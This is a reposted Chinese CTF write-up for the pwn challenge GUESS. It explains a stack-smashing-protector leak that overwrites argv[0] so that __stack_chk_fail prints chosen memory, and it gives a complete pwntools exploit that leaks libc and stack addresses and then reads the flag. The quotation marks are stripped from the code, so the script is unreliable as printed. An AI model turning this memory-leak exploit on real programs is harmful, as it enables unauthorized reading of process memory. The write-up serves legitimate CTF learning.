码迷,mamicode.com
首页 > 其他好文 > 详细

pwn-GUESS

时间:2018-09-04 01:55:20      阅读:461      评论:0      收藏:0      [点我收藏+]

标签:运行流程   recv   其他   line   src   技术   imp   stack   flag   

参考了其他wp之后才慢慢做出来的 记录一下

首先checksec一下 有canary

技术分享图片

放到IDA看下源码

技术分享图片

运行流程大概是 有三个fork 即三次输入机会,于是无法爆破cannary

本题用的是SSP leak,当canary被覆盖是就会触发__stack_chk_fail函数,其中会打印字符串argv[0],覆盖它就能实现任意地址读

技术分享图片

源码中有open("./flag.txt")即已经读到缓冲区,需要打印buf中flag值

思路:有三次输入机会(提前计算出offset)

1:利用puts函数leak出libc基地址

2:计算出stack上的环境变量environ的实际地址

3:算出environ与buf中flag的偏移量,打印flag

其中,断点打在gets函数和environ变量上

技术分享图片

技术分享图片

可以算出buf与environ的差值:0x7fffffffe018 - 0x7fffffffdeb0 = 0x168

exp:

 

from pwn import *


elf = ELF(./GUESS)
libc = ELF(./libc6_2.19-0ubuntu6.14_amd64.so)




def get_offset():
        for i in range(0x80,0x180):
                p = elf.process()
                p.recvuntil(flag\n)
                p.sendline(1*i+p64(0x0400C90))
                p.recvline()
                x = p.recvline()
                p.close()
                if "six" in x:
                        print hex(i),x
                        exit(0)


def leak_data(p,addr):
        p.recvuntil("flag\n")
        p.sendline("1" * 0x128 + p64(addr) )
        p.recvuntil(***: )

def leak_address(p,address):
        leak_data(p,address)
        leak = u64(p.recv(6) + \x00 * 2)
        return leak


p = elf.process()

#1:

libc_address = leak_address(p,elf.got[puts]) - libc.symbols[puts]
info(libc:  + hex(libc_address))


#2:
environ_address = libc.symbols[environ] + libc_address
environ = leak_address(p,environ_address)
info(stack address :  + hex(environ))


#3:
flag_address = environ - 0x168
leak_data(p,flag_address)
print p.recvline()

 

pwn-GUESS

标签:运行流程   recv   其他   line   src   技术   imp   stack   flag   

原文地址:https://www.cnblogs.com/Aiden-/p/9581857.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!